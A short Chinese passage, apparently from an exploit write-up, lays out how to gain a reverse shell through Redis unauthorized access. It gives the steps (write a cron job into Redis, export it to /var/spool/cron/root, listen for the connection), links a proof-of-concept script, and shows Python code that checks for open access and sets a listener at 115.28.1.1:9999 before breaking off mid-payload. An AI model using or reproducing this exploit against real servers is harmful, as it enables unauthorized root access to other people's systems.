利用流程
1 通过redis未授权访问漏洞,向redis插入一条记录,内容是反弹shell的定时任务
2 通过redis数据导出功能,将含有定时任务代码的数据导出到/var/spool/cron/root
3 监听端口,获取shell
编写exp
完整代码:
https://github.com/Xyntax/POC-T/blob/master/script/redis-cron-getshell.py
和之前的ssh-key相比简单了点.
首先判断是否存在未授权访问
r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)
if 'redis_version' in r.info():
构造定时任务代码
listen_ip = '115.28.1.1'
listen_port = 9999
payload = '\n\n*